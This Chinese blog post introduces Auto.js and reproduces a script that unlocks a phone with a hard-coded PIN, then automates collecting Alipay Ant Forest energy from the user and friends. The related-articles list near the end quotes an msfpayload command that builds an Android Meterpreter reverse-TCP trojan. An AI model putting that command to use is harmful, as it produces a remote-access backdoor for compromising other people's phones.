Auto.js 初试-Android开发JS利器
GitHub地址:https://github.com/hyb1996/Auto.js
文档地址:https://hyb1996.github.io/AutoJs-Docs/#/?id=%E7%BB%BC%E8%BF%B0
Android软件下载:https://www.coolapk.com/apk/129872
今天看今日头条无意间看到个蚂蚁森林自动收能量的脚本,于是打开看看安全性。
下面是代码:
auto();
//auto.waitFor(); requestScreenCapture();
//解锁
unlock("1111");//里面是你的锁屏密码,仅支持数字解锁,并且需要点击确定键,需要点击确定键的需要自己改一下解锁函数 var friendNumber=145;//这里输入你的好友数,适当输大一点 threads.start(function(){
toast("按音量下键停止")
//启动监听
events.observeKey();
//监听音量下键
events.onKeyDown("volume_down",function(event){
toast("已停止")
exit();
}) }); //启动app
launchApp("支付宝");
waitForActivity("com.eg.android.AlipayGphone.AlipayLogin");
sleep(5000);
var w=text("蚂蚁森林").className("android.widget.TextView").findOne();
var b=w.bounds();
if(w==null){
log("null");
}
//点击蚂蚁森林
if(click(b.centerX(),b.centerY())){
//toast("点击成功");
log("点击成功");
}else{
log("点击失败");
} //收集自己的能量
sleep(5000);
//collectEnergy(); var width=device.width;
var i,j; //盲点收自己的能量
for(i=450;i<=800;){//y方向点击范围
threads.start(function(){
for(j=300;j<width-200;){//x方向点击范围
click(j,i);
j=j+150;
}
});
sleep(1000);
i=i+100;
} toastLog("收集能量完成"); //偷好友能量
sleep(3000);
stealEnergy(friendNumber); toastLog("偷能量完成"); sleep(2000); back();
sleep(2000);
back();
sleep(2000); //关闭应用,仅有root权限下有用
shell("am force-stop com.eg.android.AlipayGphone",true); exit(); //解锁函数
function unlock(password){
var a;
var b;
if (!device.isScreenOn()) {
device.wakeUpIfNeeded();
sleep(2000);
swipe(500,1000,500,100,1000);
for(var i=0;i<password.length;i++){
a=password.charAt(i);
log(a);
sleep(500);
b=text(a).findOne().bounds();
click(b.centerX(),b.centerY());
}
//需要点击确定键的可以在下面加上click(x坐标,y坐标);
toast("解锁成功");
sleep(500);
}
} //收能量
function collectEnergy(){
sleep(2000);
var i=descContains("收集能量").find().size();
toast("可以收集"+i+"个能量");
//descContains("收集能量").exists();
while(i!=0){
b=descContains("收集能量").findOne().bounds();
sleep(1000);
click(b.centerX(),b.centerY());
i--;
sleep(1000);
}
} //找好友的能量
function findFriendEnergy(){
//截图
var img = captureScreen();
//toastLog("开始找色");
//var point = findColor(img, "#1DA06D");
var point = findColorInRegion(img,"#1DA06D", 0, 0, device.width,400);
if(point){
//toastLog("x = " + point.x + ", y = " + point.y);
//点击进去偷能量
click(point.x,point.y+50);
return true;
}else{
//toastLog("没有找到");
return false;
}
} //滑动屏幕找到更多好友
function swipeScreenFirst(){ //gesture(1000,[500,1500],[500,500])
swipe(500,600,500,100,1000);
var i=5;
while(true){
if(desc("查看更多好友").exists()){
desc("查看更多好友").findOne().click();
sleep(2000);
swipe(500,500,500,278,1000);
break;
} if(i==0){
toastLog("你的好友太少无法偷取");
sleep(2000)
back();
sleep(2000);
//关闭应用,仅有root权限下有用
shell("am force-stop com.eg.android.AlipayGphone",true); exit();
} i--;
} } //滑动屏幕
function swipeScreen(){
//滑动一个好友的距离
//gesture(1000,[500,1500],[500,500])
swipe(500,500,500,290,1000); } //偷好友能量
function stealEnergy(friendNumber){
//滑动屏幕,找到查看更多好友进入到好友排行榜
swipeScreenFirst();
sleep(2000); //一个一个偷能量
while(friendNumber!=0){
if(findFriendEnergy()){
sleep(2000);
collectEnergy();
back();
sleep(1000);
swipeScreen();
}else{
swipeScreen();
sleep(1000);
} friendNumber--; } }
具体使用方式见下面录屏:
Auto.js 初试-Android开发JS利器的更多相关文章
- [js开源组件开发]js多选日期控件
js多选日期控件 详情请见:http://www.lovewebgames.com/jsmodule/calendar.html 它的github地址:https://github.com/tianx ...
- [js开源组件开发]js手机联动选择地区仿ios 开源git
js手机联动选择地区 前言:由于网上找到了一个mobiscrool,比较全,但是不开源,只能试用15天,正式版竟然要三千块钱,穷人只能自己动手,写了个只针对弹窗地区选择的. 本站点所有的资源均在git ...
- [js开源组件开发]js手机联动选择日期 开源git
js手机联动选择日期 这里在前面的<js手机联动选择地区>的基础上,改造数据源之后形成的一个日期的选择器,当然你可以使用之前的PC上模式的<日期控件>,它同时也支持手机端,ht ...
- [js开源组件开发]js轮播图片支持手机滑动切换
js轮播图片支持手机滑动切换 carousel-image 轮播图片,支持触摸滑动. 例子见DEMO http://www.lovewebgames.com/jsmodule/carousel-ima ...
- [js开源组件开发]js文本框计数组件
js文本框计数组件 先上效果图: 样式可以自行调整 ,它的功能提供文本框的实时计数,并作出对应的操作,比如现在超出了,点击下面的按钮后,文本框会闪动两下,阻止提交.具体例子可以点击demo:http: ...
- [js开源组件开发]js手机端浮层控件,并有多种弹出小提示,兼容pc端浏览器
js dialog组件,包含alert和confirm的实现 本组件所有的资源均在github上可以查看源代码 GitHub 本dialog的组件的例子请在这里查看 demo dialog js di ...
- 【转】Android开发笔记(序)写在前面的目录
原文:http://blog.csdn.net/aqi00/article/details/50012511 知识点分类 一方面写写自己走过的弯路掉进去的坑,避免以后再犯:另一方面希望通过分享自己的经 ...
- [Hybrid App]--Android混合开发,Android、Js的交互
AndroidJs通信 *:first-child { margin-top: 0 !important; } body>*:last-child { margin-bottom: 0 !imp ...
- Android开发学习之路--Java和Js互相调用
随着前端的火热,以前开发的快速,越来越多的native app在其中融合了h5,就拿淘宝就是很多的h5组成的,一旦出现什么节日,他都可以不用通过更新app来实现界面的改变,而且android和io ...
随机推荐
- Request.UrlReferrer注意点
定义: public sealed class HttpRequest { // // 摘要: // 获取有关客户端上次请求的 URL 的信息,该请求链接到当前的 URL. // // 返回结果: / ...
- linux df查看硬盘使用量 du查看文件所占大小
df 常用来查看磁盘的占用情况. du 常用来查看文件夹的大小等. Linux命令: df [-ahikHTm] [目录或者文件夹] 参数: -h : 以交较易识别的方式展示使用量 111100 ...
- 那种多空计算方法更正确呢?——从此图看应该是TEST005
那种方法计算多空逆转更正确呢?——从此图1看应该是TEST005,但是实际上是ZCL_多空! TEST005具有滞后性!也就是说跌了一些在报警,可能已经跌了10%(如图2) ZCL_多空:当计算结果和 ...
- c# 类一般在哪里实例化,是在类内、方法内还是其他地方?
根据情况,你要一个页面内全局的就在类与方法之间实例化,如果一个方法需要使用这个类的对象,就在内部实例化
- caffe在Linux下生成均值文件
参照博客:https://blog.csdn.net/sinat_28519535/article/details/78533319
- kali linux android木马(内网+外网)
1,内网木马 先生成一个小马 msfpayload -p android/meterpreter/reverse_tcp LHOST=192.168.8.104 LPORT=5555 R > a ...
- hdu5029 树链剖分 + 线段树
将树映射在线段上进行操作 然后每个 重链变成一个连续的区间 #include <iostream> #include <cstdio> #include <strin ...
- canvas添加水印
<canvas id="canvas"></canvas><canvas id="water"></canvas> ...
- c++学习笔记(二)-指针
1. 指向数组的指针 int balance[5] = { 1000, 2, 3, 17, 50 }; int *ptr; ptr = balance; //ptr是指向数组balance的指针 // ...
- 安装vm tools时出现如下问题 The path "/usr/bin/gcc" is not valid path to the
sudo suapt-get updateapt-get dist-upgradeapt-get install open-vm-tools-desktop fusereboot https://bl ...